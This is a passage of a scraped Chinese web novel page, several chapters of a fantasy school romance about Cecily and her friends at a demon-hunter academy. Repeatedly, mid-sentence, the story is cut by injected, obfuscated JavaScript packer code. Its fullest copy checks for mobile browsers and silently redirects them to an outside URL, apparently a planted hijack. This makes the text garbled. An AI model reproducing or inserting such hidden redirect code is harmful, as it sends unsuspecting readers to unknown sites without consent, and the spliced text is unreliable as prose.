“……你可以直接说的——你今天已经叫过很多次我的名字了。” “你不喜欢我叫你的名字吗？那我可以给你起代号吗？” “……没有。不可以。” “哦……” “……你刚刚想说什么？”克里斯问。 “没想说什么，就是想叫叫你。” “……” “好无聊啊克里斯。” “……” “你怎么不说话啊克里斯？” “……你想要我说什么？” “唔，让我想想……我也不知道诶。” “……”呵。 “克里斯——”西塞莉百无聊赖地喊。 “……嗯。” “好无聊。” “嗯。” “你又开始‘嗯’了。”她抱怨说。 “……” 西塞莉：“克里斯。” 克里斯：“……在。” 西塞莉：“你会无杖魔法吗？” 克里斯：“会一点。” 她兴致一下子就上来了，好奇道：“你可以点个火吗？我记得你是擅长——唔，火属性、雷属性和暗属性的对吧？真是巧呢！我也擅长用雷属性和火属性的魔法呢！” 只不过她的第三擅长的是光属性……这也是她和克里斯不和的原因吗？毕竟光暗对立来着。 克里斯点了点头，然后意识到在黑暗里西塞莉是看不到他的动作的。 “可以试试。”他说。 过了一会儿，西塞莉听见他打了个响指，于是一簇金红的小火苗就在他们之间影影绰绰地生了出来。 骤然出现的光亮让两人都不太适应，克里斯侧了侧头，避开直视光明，而西塞莉则眯起了眼，让纤长浓密的睫毛垂下来遮住大半略显刺眼的光。 “哇——！！” 她目光渴望地盯着克里斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那你为什么要把火熄掉？我还没有看够呢！——而且你还推我！”她愤愤不平道，听上去甚至还有些委屈。 没、没看够什么？ 克里斯有些慌张的想，是没有看够他吗？那他好像也没有看够…… 不不！他才没有想看她！！ 克里斯深深吸了口气，强作镇定道：“我魔力不够了。” “魔力、不够了……？”她疑惑的语气甚至能让克里斯想象出她微微歪着头，眼神懵懂的可爱模样。 “嗯。”他说。 “无杖魔法……原来这么消耗魔力的吗？”她低声嘀咕道。 “嗯。” “……你又开始‘嗯’了。” “嗯。” “克里斯！” “嗯、抱歉……” “没事……只是想叫你回一下神啦。”西塞莉说：“对了，你可以教我无杖魔法吗？我之前也求过老爸和扎克利他们，但他们说我这个年纪学无杖有些太小了，连妈妈都不同意……” “可以。” “求你啦……欸？！”她听上去很惊讶，克里斯听见她低声喃喃“这么轻易就答应了吗”。 他有点想笑，却又很快压下，然后慢一拍地意识到，现在的西塞莉是看不见他的表情的。 于是，克里斯在黑暗中肆无忌惮地弯起了唇角。 23. 冬将至 亡灵祭过后，西塞莉和克里斯的关系肉眼可见的越来越好。 他们经常在一起讨论学习，西塞莉偶尔也会向他请教体术方面的问题，她的体术在对方的引导下提升了不少。 换座位的时候，西塞莉甚至拉着不情不愿丹尼尔和克里斯一起坐到了中间位置。 懂事的尼克于是坐到了他们的后一排，西塞莉背后的位置，他的身旁是已经完全和好、甚至比原先还要更亲密了的玛蒂尔达和苏菲亚。 她们经常隔着他传话，在尼克不胜其烦，提出与其中一位交换座位，却意外的遭到了拒绝：“你不是很想坐得离西塞莉更近一些吗？”玛蒂尔达意味深长的说。 “西塞莉可是从小到大都很受欢迎的呢，你可得好好看着她呀。”苏菲亚捻着指尖的棕发朝他暧昧的眨了眨眼。 玛蒂尔达：“克里斯是长得超好看的天才校草。” 苏菲亚：“丹尼尔是一起长大的青梅竹马。” 两人异口同声：“看上去胜率是最低呢，尼克同学。” 尼克：“……” 尼克：“你们在说什么啊……！” 他不自在的移了移脸，扭过头不想看这一对糟心玩意儿。 然后他的视线便近乎不受控制地涌向前排的女孩。 她穿着猎魔人学院的绀色制服，背影看上去纤瘦而单薄，头发在这一年里长长又剪短，又再次长出，没来得及修剪，发尾将将触到肩头，随着转头等动作划出叫人有些他惊心的轻盈弧度。 此刻，她正侧头和身旁的男孩说话。 那男孩有着漆黑的发与眼，侧脸轮廓秀丽而精致。他脸上没有多余的表情，看上去很是冷淡，对她的话也只是有一搭没一搭地回应，不过却没有流露出丝毫的不耐烦，神色寡淡的脸上显出几分漫不经心的认真。 怎么看都很般配嘛…… 尼克有些不平地想：明明是他先认识她的…… —— “你跟克里斯怎么回事？”刚从岩洞出来的时候，尼克这么问过西塞莉。 “我跟他成了朋友。”西塞莉实话实说道。 “朋友？”尼克挑了挑眉：“两个半小时的时间？” “嗯。”她点头。 尼克问：“你之前不是很讨厌他吗？” 西塞莉：“那些都是偏见和迁怒啦！我现在觉得克里斯也挺好的。” “行吧……”尼克叹了口气。 “西塞莉明明说过不会喜欢克里斯的……”丹尼尔从身后幽幽道。 “骗子。”他评价。 “但是克里斯真的是个很好的人呀。”西塞莉有些为难的说：“丹尼尔其实也可以试着和他交朋友的。” “我才是西塞莉最好的朋友。”他却突然答非所问道。 “——对吧？”他期待地盯着她。 “对对对——”西塞莉纵容地点了点头。 “我才是西塞莉最好的朋友。”丹尼尔的眼睛随着笑起的唇角弧度而眯起，再次重复道。 “嗯嗯嗯。” “那比起克里斯，西塞莉肯定更喜欢我吧？”他再次确认道。 “那是当然，丹尼尔可是我最好的朋友呀。”西塞莉说。 “那就好！”他于是终于放下心来。 —— 十一月下旬的时候，学院放假了。 11月23日，“神明诞生之日”，又称神诞日，从11月23日开始，到12月4日结束，放假十二天。 西塞莉在假期回了假——所有人都在假期回了假，因为长假是不允许留校的。所以丹尼尔也不情不愿地收拾起行李来。 十一月下旬，已经彻底入冬了，气温也已经足够低了。 离开学院前，她曾回头望过一眼，泽布拉维古树绿色的叶片早已变色枯黄，然后坠落，踩上去会发出清脆而悦耳的声响，树上开始长出银白的叶子，那清丽的色彩和天空映在一起，显出有些孤寂的美丽来。 西塞莉不喜欢冬天，冬天很冷，要穿不方便行动的厚衣服，还要忍受不适宜出行的低温天气。 而且在冬天能存活的植物很少，动物们也在冬季缺乏活力，大多数不适应冬季的动物，要么冬眠，要么南迁，在失去他们后的世界，于是一下子安静了不少。 西塞莉是不喜欢安静的，从她在岩洞里主动朝克里斯搭话就能看出来，在她本身陷入安静的思考和走神前，她并不喜欢浸在安静的空气中。 而冬天，是太过安静的季节，西塞莉似乎天生就与它不相配——毕竟她出生在春夏交界的时节，那绝对是一年中最让人舒服的气候了。 万物苏生，草长莺飞的春已然盛放绽开到最盛大美丽的时候，而蝉鸣不止的，属于太阳的热烈夏季也即将来临，那可真是最为温暖而美丽的时节了。 冬天的时候，西塞莉不太喜欢出门。 出门要穿厚重的外衣，要浸入冰冷的空气，要感受北风凛冽的刮在颊上的刺痛——这些真是不讨她喜欢极了。 而在室内，老式壁炉中，木头被火烧得“噼啪”作响，温暖的橘色火光将她手中的书也映上一层暖色的光晕，火光跳跃间，西塞莉不紧不慢地翻了一页书。 “要去神庭玩儿吗？”她身旁的沙发边，是同样翻着书看的艾维斯。 “不要。”她一口回绝。 “为什么不去？西塞莉难道对‘神明大人’不感兴趣吗？”艾维斯好奇的问。 “不感兴趣。”西塞莉说，她皱了皱眉：“而且太冷了，我才不要出门。” “那好吧。”他说，“本来还想让扎克利带你出去玩玩呢，西塞莉不愿意的话，那就算了吧。” “扎克利大叔今年又去神庭了？”西塞莉问：“他不是不当圣骑士很多年了吗？” “谁跟你说只有圣骑士才能去神庭的？”艾维斯睨她一眼。 “除了圣骑士还会有人信仰那个‘创世神’？只会在抽奖这种时候求一下吧？”西塞莉困惑地问。 艾维斯闻言一愣，惊奇地看向她，发现她是真的这么想的之后，神色地更加的惊奇了。 大概是平时他和卡蜜拉对神庭供奉的所谓的神明表现地太过于无所谓，而西塞莉身旁亲近与在意的人也不怎么信这位神明，唯一表现出这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是她单刀直入的问：“丹尼尔，你怎么了？” 丹尼尔用那双海一样的蓝色眼睛静静地望着她，半晌在在她询问的视线中慢吞吞地开口：“因为，西塞莉把注意力都放到克里斯那家伙身上了。” “欸？”西塞莉眨了眨眼：“丹尼尔的意思是在说我冷落了你吗？” “嗯……”他声音闷闷的。 西塞莉想了想，发现这些天她的注意力确实大多数都被放到克里斯这个新朋友身上了，剩下的则是在学习和各种漫画游戏上，的确是对丹尼尔和尼克的事少了几分关注，于是歉意的看向他，愧疚道：“抱歉啊，我最近好像的确是有些冷待你了。” 丹尼尔这才笑了，他笑起来的模样看上去很像是一只可爱的金毛小狗：“没关系的呀。” “毕竟，我和西塞莉可是最好的朋友啊。”他说，笑容像是夏天铺在海面的阳光。 西塞莉想，如果那片海真的存在，一定会比旅行杂志上的海更加美丽吧。 24. 酷哥才不会穿裙子 西塞莉和丹尼尔与尼克的关系在那次谈话后重回原样，他们的三人组—— 不，现在应该是六人组，还要加上新朋友克里斯和已经和好的玛蒂尔达和苏菲亚。 时光就这样流逝着，但所有的一切似乎都与从前一样，唯一不同的似乎只有在新一年的西塞莉生日时，克里斯也被邀请了。 阿尔瓦.霍尔少爷对此很不高兴，恼羞成怒地大嚷“你这家伙到底要勾-搭几个才满足”，得到了西塞莉的无视和克里斯冰冷的一瞥。 ——习惯了，这家伙对她的每一个朋友都抱仇视态度。 大概是因为自己的性格太差劲而交不到朋友，所以也看不惯别人有朋友吧？ 真是小心眼的家伙。 转眼间，两年就这么过去了。 十三岁的西塞莉和她的朋友们已经升上了三年级，就连丹尼尔也擦着边有惊无险地过了及格线，没有被留级。 在这段时间里，西塞莉成功学会了并熟练了无杖魔法，艾维斯也在去年冬天成功升上了S级，一切似乎都在往更好的方向发展着。 今年的冬天似乎来得格外早，十月上旬的时候，气温就已经很低了，像是夏天结束后就直接越过秋天来到了冬。 临出门前，西塞莉不情不愿地被扎克利往身上搭了件厚衣服，那厚重的衣服让穿惯了夏季单薄衣料的西塞莉感到很不适应。 “你越来越像个老大叔了……扎克利，你是我爸爸么？”她抱怨道。 “你要是想叫我爸爸也没问题。”银发男人懒洋洋的说。 “不要。”西塞莉斩钉截铁。 “——说起艾维斯，他在你这么大的时候都已经有我了，”她说，“但扎克利你却已经是个老光棍呢。” 扎克利无言：“……二十四岁已经算很老了吗？” 西塞莉理所当然道：“我都已经叫你‘大叔’了欸，你说被叫‘大叔’的男人是不是都很老了呢？” 扎克利：“……我十五岁的时候你叫开始叫我大叔了好吧，你居然还有脸说……” “哎呀！”少女装模作样的看了看空无一物的细白手腕，抱歉地看向他：“和朋友们约定的时间快到了呢！再见啦扎克利大叔——” 今天西塞莉约了丹尼尔和尼克去南区新开的甜点店吃甜品。 ——不是孤立其他人的意思，苏菲亚和玛蒂尔达一起去买逛街衣服了，而西塞莉对这个不感兴趣，她的衣服都是艾维斯请人定制的，只要量好尺寸就有当季新品被摆上来任她挑选，对她来说，逛街买衣服还比不上两块樱桃慕斯。 至于克里斯…… 虽然已经知道对方喜欢草莓并且很大可能是个甜党，但西塞莉还是想象不到克里斯做进甜品台吃小蛋糕的场景——尤其是王城大多数甜品店的装修几乎都粉粉嫩嫩可可爱爱的情况下。 完全想象不到那家伙一身黑坐在被套了带蕾丝花边的少女粉沙发套的沙发上，拿着绑了粉色蝴蝶结的银叉吃甜蜜可爱的草莓蛋糕的样子啊喂！ ……其实也是想象得出来的。 西塞莉不小心将克里斯的脸套到了不远处一个穿黑白哥特风长裙的贵族小姐身上，立刻起了一身鸡皮疙瘩……穿裙子的克里斯……这也太奇怪了！ 她想，克里斯还是适合老老实实穿着斯科特族服。 她目光一转，看见另一桌上穿了身蝴蝶纹蓝裙的小姐，顿时又想起了克里斯族服上的蓝翅膀蝴蝶，于是又不受控制地去想象他穿上那件蝴蝶纹蓝裙子的模样…… 呜啊——快停下啊西塞莉！你怎么可以想这么冒犯人的事情！实在是太失礼了！！高冷酷哥克里斯才不会穿女装！！！ 然后她突然又想到曾经在某期介绍民族的杂志上曾经看到过的，某个在阿柯利斯大陆南部的少数民族，他们无论男女都穿着绣着蓝蒲花纹样的漂亮长裙，并且长着漂亮的蓝色系头发，带银制首饰。 西塞莉想，自己也许可以邀请克里斯到那儿旅行，说不定这样就可以见到他穿裙子了…… 不不——不可以这样坏心眼，西塞莉你是变-态吗？为什么想要看男孩子穿裙子？！ “怎么了？”尼克问。 他总是很擅长看别人的情绪，西塞莉有些担心被他发现自己其实想看男孩子穿裙子这件事。 然后她又突然想到：为什么自己只想看克里斯穿裙子呢？尼克或者丹尼尔难道不行吗？ 西塞莉一抬头就对上尼克的死鱼眼。 “……没什么。” 她在心里补充：尼克不行，他没有克里斯漂亮，穿裙子一定会很违和的吧？ 于是她又转头看向丹尼尔。 丹尼尔正有些心不在焉的往嘴里塞着蛋糕，他的脸颊随着咀嚼的动作一鼓一鼓，看上去有些像是仓鼠。头发是金色，眼睛是蓝色，金是阳光照在黄金上般的灿金色，蓝是晴天的海面一样湛蓝色。 西塞莉托腮想，丹尼尔好像也很漂亮啊…… 这时，疑似正在走神的丹尼尔才发现西塞莉在看自己，立刻朝她露出一个充满朝气的明媚笑容来：“怎么了，西塞莉？” “不，”西塞莉摇摇头，“没什么，只是单纯想看着你而已。” ……不，不行，丹尼尔太‘男孩子气’了，感觉不太适合穿裙子。 ……可克里斯也没有‘女孩子气’啊？ “啊、啊，是这样啊……！”金发男孩——不，应该称之为‘少年’了。近两年过去，丹尼尔已经长了不少了。 他不好意思地挠了挠头，说：“西塞莉想什么时候看、怎么看我都完全没有问题哦！” “嗯嗯。”她有些心不在焉地点着头，回道：“我们是朋友嘛。” “……” “话说丹尼尔刚刚在想什么？” “唔，这不是因为很快就要期末考试了嘛……我很担心被留级呀。” “咦？！”西塞莉困惑地眨了眨眼：“现在不是还只在十月份吗？期末考试在一月中旬吧？我们才刚开学……唔，不到两个月呢。” 他迟钝地“啊”了一声，有些不好意思地说：“是我记错了啊——可能是因为今年降温太快了吧？感觉夏天没过完冬天就来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是这样……吗？”她困惑道：“他为什么看你们不顺眼，是你们有哪里惹到他了吗？” “……” 虽然知道西塞莉这家伙脑回路有时很奇怪，但还是不小心被梗了一下呢。 尼克揉了揉眉心，无奈地说：“西塞莉，你要知道，朋友不是那么好交的，不仅要看性格看运气，还要看气场这种有些玄乎的东西。” “这样吗……” “如果我和克里斯当不成朋友，那肯定是以上几项里至少有一项不和。”他继续道：“而性格、运气、气场，这些都不是什么容易更改的东西，既然当不成朋友的话，那就只能说明我和克里斯没有做朋友的缘分了。” “这、这样吗？” “所以，”最后，他总结道：“你不能要求你的朋友也可以和我成为朋友，这实在是太为难人了。” 25. 小草莓 和尼克在甜品店门口分开后，西塞莉和丹尼尔相伴着往回家的路走。 “我总有些不祥的预感。”西塞莉有些忧愁的说道。 “怎么了吗？”丹尼尔担忧地看向她，问。 “你看最新一卷的《第一魔法纪实录》了吗？”西塞莉却反问了一个听上去并不相干的问题。 丹尼尔有些不明所以地回道：“看了啊，这两年画的都是一些日常，有什么问题吗？” “是啊，都是日常。”西塞莉点了点头：“勇者在杀死魔王后也要回归普通生活呢。” 丹尼尔轻声：“对呀，伊文在成为勇者之前也只是个很普通的人呀。” “但这几卷的日常太温馨了。”西塞莉说，“感觉这种梦一样的大量日常，在热血少年漫里好像有些突兀——尤其是，这还是弗玛尔海特的作品。” 西塞莉也看过弗玛尔海特的其他作品，所以她有些担心伊文（男主角）或者卡洛琳（女主角）死掉——话说依弗玛尔海特的尿性，主角团全员阵亡也不是没有可能吧……？ 丹尼尔很显然也想到了这一点，他犹豫道：“应该不会吧……”他说，“说不定他就是想多写点日常呢？毕竟已经连载快十年了，感情大概很深了吧……？” “希望如此吧。”西塞莉忧心忡忡地点了点头。 —— 虽说是朋友，但克里斯与西塞莉的关系也并不紧密，至少在西塞莉眼里是这样。 他总是面无表情，看上去很冷漠又不近人情，也不大爱说话，总是“嗯”来“嗯”去的，听上去很敷衍人，只有西塞莉提醒和有必要的时候他才会回两句其他的。 这家伙是什么设置了自动回复的机器人么……？？ ……但尽管如此，西塞莉还是把他当朋友的。 只是关系没有跟其他人（指丹尼尔与尼克）那么亲密就是了。 但因为其悲惨的身世（指被魔王灭族），西塞莉还是对他还是蛮上心的，毕竟克里斯看上去就不太会照顾自己——话说你是觉得你自己很擅长照顾人吗？？ 克里斯想，在西塞莉眼里，自己大概是什么孤苦无依的，流浪着的小动物，如果没有人关怀的话，就会在即将到临的冬天里，被冻死或饿死在某个无人知晓的角落里。 事实上，西塞莉确实觉得克里斯像是某种小动物。他拿着叉子往嘴里送入蛋糕，然后微微鼓着颊慢吞吞地咀嚼着的样子，看上去非常乖巧可爱。 作为有礼貌的好孩子，西塞莉到不算特别熟的朋友家玩时，是会带礼物。 今年的冬天似乎很快就要到了，冬天的时候不太适合吃草莓吧？那喜欢草莓的克里斯岂不是会感到难过？那就趁着冬天来临前给她送一些吧！——才不是她自己想吃！草莓才不是她最喜欢的水果！！ ……总之，西塞莉买了草莓。 她很积极地跑进厨房对其进行了清洗——其实是可以用清洁术的，但因为肉眼看不出什么差距，西塞莉总疑心自己的魔法可能会失效，会被送进嘴里的草莓上依旧不干净，只有亲手洗才会叫人感到安心，而且，她也很喜欢水流在指间冲刷的感觉。 当然，等天气再冷些她就不会喜欢了。 被洗过的草莓上沾着透明的水珠，红艳艳的颜色看上去让人很有食欲。 “克里斯，过来吃草莓呀。”她才不会吃独食呢。 黑发少年端着蛋糕默默坐到了她对面。 和一年级的时候比起来，他长高了不少，也变得更好看了。 在家的时候，他的头发并没有被魔法定型，如同刺猬身上的尖刺一样乱翘着，这种稍显‘没规矩’‘没礼数’的发型冲散了一部分他身上的疏冷气质，再加上今天身上没有穿那身看上去像是会增加角色[冷漠]属性的斯科特族服，而是一件看着就很舒适的深灰色卫衣，让他看上去柔软居家了不少。 西塞莉觉得他很像猫。 特别是那一双眼睛，尤其像。 平时还不太明显，因为头发被魔法固定在服帖垂下的角度，将眉眼略略遮住，看不分明，而在现在，他头发凌乱的翘着，露出相对完整的清晰的眉眼，于是眼尾那点上扬的角度就如此暴露了出来。 似是意识到自己被人盯着，克里斯抬起头，和对面的西塞莉对上了视线。他漆黑的眼珠动了动，眼角的那点尖锐的角度似乎变得更明显了，几乎显得有些锋利，还有些……还有些说不出道不明的、妖冶……？ 但下一秒，那种感觉又仿佛是她的错觉那样消失不见。 克里斯朝她眨了眨眼，神情疑惑，像是在问她为什么要一直盯着自己。 西塞莉摇了摇头，觉得刚刚那一瞬的感觉肯定是她的错觉。 ……怎么会觉得克里斯妖冶呢？这家伙可是个高冷批，一定是昨晚玩游戏玩到太晚眼花了吧哈哈哈…… 草莓是红色的，漂亮而鲜亮的红色，西塞莉喜欢这个颜色。 她盯着手上鲜红的果实看了半晌，突然觉得它有些眼熟，不禁开始熟练地思（zou）考（shen）起来。 但等她回过神，还是没有想起来那点熟悉来自哪里，不禁泄愤似的狠狠咬下那鲜红的草莓尖。 但等她抬头看见克里斯时，突然就福至心灵地意识到草莓给她的那点熟悉感来自哪里了。 “克里斯……”她叹息般叫出他的名字。 “嗯？”他几乎下意识地回应了她。 “你好像草莓啊。” 克里斯：“……？” 对的！她发现克里斯头发翘起弧度居然有些神似草莓顶部的叶片！！ 再看看那颗形状完美的草莓，圆润漂亮的草莓尖尖居然和克里斯尖瘦的下巴越看越像！ 克里斯：“……” 克里斯：“你在说什么胡话？脑子坏掉了么？” 没有理会他的毒舌发言，西塞莉一本正经地拿起一颗草莓对着他比划：“这个，是克里斯的头发……这个，是克里斯的下巴……” 可是说着说着，西塞莉却发现那种既视感又消失了，它们变得没有那么像了，草莓是草莓，克里斯是克里斯。 ——天杀的，为什么今天总是出现幻觉？她果然不能再这样熬夜了。 不过她还是硬着头皮继续讲了下去。最后，西塞莉语气很认真的总结道：“克里斯，你是一颗小草莓。” 克里斯沉默片刻，说：“……傻子。” 西塞莉立刻甜蜜的回：“小草莓~” 克里斯：“……” 克里斯表示并不想理她，将吃完的盘子放到厨房后，自顾自拾起桌上的书翻看起来。 西塞莉弯下身身子，将脸贴上冰凉的桌面，歪头好奇地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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克里斯似乎很不喜欢说话，也并不擅长说话，主动说长句十有八九是开嘲讽，而西塞莉也不是一直有很多话题可以抛给他的，而这时，他们就会选择这种方式相处——各看各的书。 或者另一种方式…… “克里斯。”西塞莉看到男女主因为一些没必要到甚至有些弱智的小误会开始闹矛盾，瞬间感觉不太想继续看下去了。 她想，下次还是换成少年漫或者冒险小说吧，她根本没法在恋爱小说里了解‘爱情’。 “怎么了？”克里斯问。 “我们打一架吧！”她说。 “好。” 克里斯在大多数时候都对她有问必答，也基本不会拒绝她的要求，几乎到了予取予求的程度了，乖顺到她以为自己一年级刚认识的那个克里斯是假的。 但她后来想了想，觉得可能是克里斯不太擅长拒绝别人，毕竟他很不擅长说话嘛，刚开学的时候他就自己一个人坐在教室角落的单人座上，谁过去搭话也不理。西塞莉以为他是哑巴，还在心里感慨神明不仁，让这么个美人白玉有瑕。 等她在内心感慨完，刚想过去跟他面前搭话的那人说“请不要打扰残障人士，不然我会告老师你霸凌同学”时，就听‘哑巴美人’开口，冷冰冰说了句“滚”。 西塞莉那蠢蠢欲动想要起来的身子就又那么落下了回去。 26. 我讨厌冬天 西塞莉那种不详的预感越来越强了。 在这两年间，西塞莉与Artist和Sapphire的书信联系从来没有断过。所以，在今夜收到一封来自Artist的信西塞莉并不感到意外。 ——她和他的来往总是很密切。 在新的一封来信中，艺术家先生说自己终于研究出来了同时修炼魔力和精神力的方法，然后洋洋洒洒写了十多页信纸，西塞莉一字一句认认真真的看下去，不禁在内心感叹：艺术家先生果然是天才。 也不知道他和尼克谁更聪明些？不过尼可和Artist的智力点似乎点在不同的地方啊…… ——话说这个交给法师塔能得不少好处吧？是他已经自己提交了……还是他真就这么信任她？？ 据西塞莉的以往观察，Artist大概是不会把这份研究成果交给法师塔的。 他对法师塔，虽然说不上是厌恶，但是绝对称不上喜欢，大概是一种掺杂着‘看不起’和‘没眼看’的不屑一顾，很大概率认为法师塔不配碰自己研究出来的东西…… 所以……是后者？ 他真的……就这么相信我吗？ ……虽然已经认识两年多了，但、但这个研究就算是放到在这方面不太懂的西塞莉眼里都十分关键，把这样重要的东西就这样轻易交到一个连真名都不知道的人手上、这是被允许的吗？？ “未免也太没有警惕了吧……” 她喃喃自语。 于是，关于Artist艺术家学生，在西塞莉心里的标签除了‘天才’‘毒舌’‘百科全书’外，又新加了个‘单纯’。 她想：既然他这么信任她，那她也不能辜负了他的信任才好。 无论如何，在对方公布之前，她都不会把这个方法告诉其他人的。 【最近有事要外出一段时间，联系不到很正常，归期未定，不必忧心。 ————你的 Artist】 信的末尾，Artist这样写到。 这很正常，因为是联络非常频繁的笔友，为了防止因为对方没收到回信而担忧的情况，他们在有特殊情况不能回信的时候会特意在信中报备。 但为什么，会感到心神不宁呢？ 西塞莉又把信认认真真看了一遍，逐字逐句地记下——毕竟这个很重要，她打算记下后就烧掉。 ——电视剧里都是这么演的，重要的信件要在记下后销毁，避免被其他人发现。 顺便，她也想要找到这封信给她带来心神不宁的点。 但是，即使她已经将信的内容倒背如流、甚至已经大致学会了这种修炼方式，却依旧没有发觉这封信和往日其他来自Artist的信有什么大的区别，依旧是先回复上一封信中西塞莉提出的疑问，然后再写自己最近的研究，最后再提一嘴自己最近的近况…… 或许是落款‘Artist’前多出来的前缀‘你的’？毕竟艺术家先生以前从来不在名字前面加前缀的。 ……不对。 西塞莉又去翻了翻之前Artist的来信，发现这个前缀在刚开学没多久的时候就开始被使用了，只是没有被她发现而已。 既然如此，那就应该是错觉吧？ 至于为什么会有这种错觉…… 西塞莉想：大概是今年的冬天来得太早了吧。 她总是很讨厌冬天的。 某天，西塞莉与丹尼尔的一次独处。 “我终于知道那种不详的预感是怎么来的了。”她突然说道。 “欸？”丹尼尔愣了愣，然后迅速想到之前西塞莉与他曾聊过的话题，于是配合的问：“怎么来的。” 西塞莉深沉道：“因为有‘寿命论’这种东西——众所周知，精灵是长生种，而人类的寿命至多两百，所以，弗玛尔海特一定在为后续找到解决这个问题的方法而做铺垫，要不然……” “要不然？” “……要不然就是想在写完日常后来一出寿命论的别离——”她沉痛道，“该死的刀子精！我要给他寄刀片！！” 那种风雨欲来的预感越来越强了。 魔王的苏醒并非只带来了斯科特一族的灭亡，也带来了其他的影响。 最大的一点就是恶魔变得比以前更多了，实力也越来越强了。 扎克利、艾维斯、卡蜜拉几人待在家里的时间也越来越少了，很多时候，霍华德家的别墅只有她自己和几个忙碌的佣人。 但幸好，她也不常在家里久待，只偶尔回来拿点东西。 学校里蛮好的，有朋友相伴的话，发生什么都不算太坏。 最近发生了件大事。 ——至少在西塞莉眼里，这是件大事。 杰明纳大陆的猎魔人学院死了个学生。 是一个没毕业的未成年男孩，在校时成绩优异，只是性格略有些古怪。 如果是普通的意外事故还好，毕竟虽然很少有猎魔人学院的学生因为溺水、火灾、地震这种的事死掉，但也总比…… 总比死在S级恶魔手上好呀。 S级恶魔是很少见的，一年能出来三两只都算多的了，而因为有法师塔的大范围检测系统，一般有超过B级的恶魔出现就已经往附近的猎魔人发出求救信号了，毕竟高阶恶魔的伤害还是很高的，晚去一步就会死伤惨重。 而S级恶魔，便只能求助那些高阶猎魔人，一般情况下是不会被拒绝的，能者多劳是这样的。 虽然大多数情况下接取任务的猎魔人都会到得很准时，但恶魔的伤害也不是盖的，伤亡什么的都很正常。 而这次的受害人不过是从普通人变成了猎魔人预备役，似乎差别不大，也只占当日的猎魔人日报头条上的很短的一句话—— 【近日，杰明纳大陆南部出现S级恶魔，23人受伤，4人死亡，其中一人为杰明纳猎魔人学院的四年级在读生……】 而让西塞莉感到不安的是，Artist已经小半个月没有消息了。 明明之前从来没有超过一周的……而且现在还出了这档子事…… 这让她有些怀疑，这个死掉的杰明纳猎魔人学院的四年级在读学生是不是他。 ……甚至连日期都能对上。 ——不不不！ ——不能妄下定论，也许只是Artist这次的事比较难处理？或者这次的事花费的时间比较长？ 怎么能随意去想自己的朋友是不是死掉了呢？这也太不礼貌了…… ——真是糟糕。 她有些烦躁的想：这已经是3687年出现的第四只S级恶魔了。 ……而且分布的还挺均匀，其他四大陆都有了，下一个是不是就要到维戈大陆了？ 西塞莉在心里玩笑般的想。 这个猜想大概是没有实现的可能性了，一年能有四只S级就已经超过平均线了，再说，如果真的会有第五只，出现在维戈大陆的概率也很小。 ——毕竟，世界上哪有这么巧的事啊。 但很快就有其他事分走了她的注意力，因为在十月中旬，一年一度的亡灵祭便如火如荼的开始了。 这种祭典每年都有个三四次，一次就要连续三天，说实话，西塞莉其实有些腻了。 从去年开始，如果没有什么有意思的活动，她便只会随机选一个地方度过第一天，其余时间用来做些别的事情——比如看新出的漫画和玩游戏之类的。 今年依旧如此。 西塞莉一个人在家里打游戏。 她目光紧盯着电视屏幕上的画面，因为家里没有人，所以声音被调得很大，手中的游戏手柄被按得‘啪啪’响。 艾维斯和卡蜜拉接了任务出去了，扎克利倒是没接任务，但两家虽然离得近关系也亲密，但还是各有各家的，扎克利当然是在自己家。 他可能会趁着假日去逛祭典，又或者和朋友们出去聚聚，亦或者去做其他事……西塞莉并不在意，因为他一定会在饭点回来的。 艾维斯他们不在的时候，时常是扎克利负责照顾她，这个照顾里当然也包括负责她的三餐——话说扎克利这家伙的手艺还真的蛮不错的，感觉比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505012|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半年前退休回老家的玛琪奶奶也差不了多少嘛…… “叮铃——” 门铃响了。 西塞莉看了看屏幕里正在进行着的战斗，在心底快速估算了下时间，知道外面很大可能是扎克利，于是放心地将这声铃声忽略，继续盯着屏幕里的游戏画面，手下不停，操控着角色大杀四方。 “叮铃、叮铃、铃——” 门外的铃声没有停，急促地再次响了几声。 西塞莉眉头微皱，觉得扎克利这家伙真的是越来越像老妈子了，不就是晚出来吃几分钟饭吗？干嘛弄得跟S级恶魔袭击王城似的…… 也许是因为那几声门铃，西塞莉感到有些心烦意乱。 “叮铃——” 门铃再次响起。 西塞莉手一抖，屏幕上的画面顿时变成了黑白色调，巨大的、几乎占据了整个屏幕的“Game Over”跳了出来。 她“啧”了一声，烦躁的把游戏手柄丢到沙发上，被艾维斯贴上彩色贴纸的手柄甚至还在柔然的沙发上弹了两下。 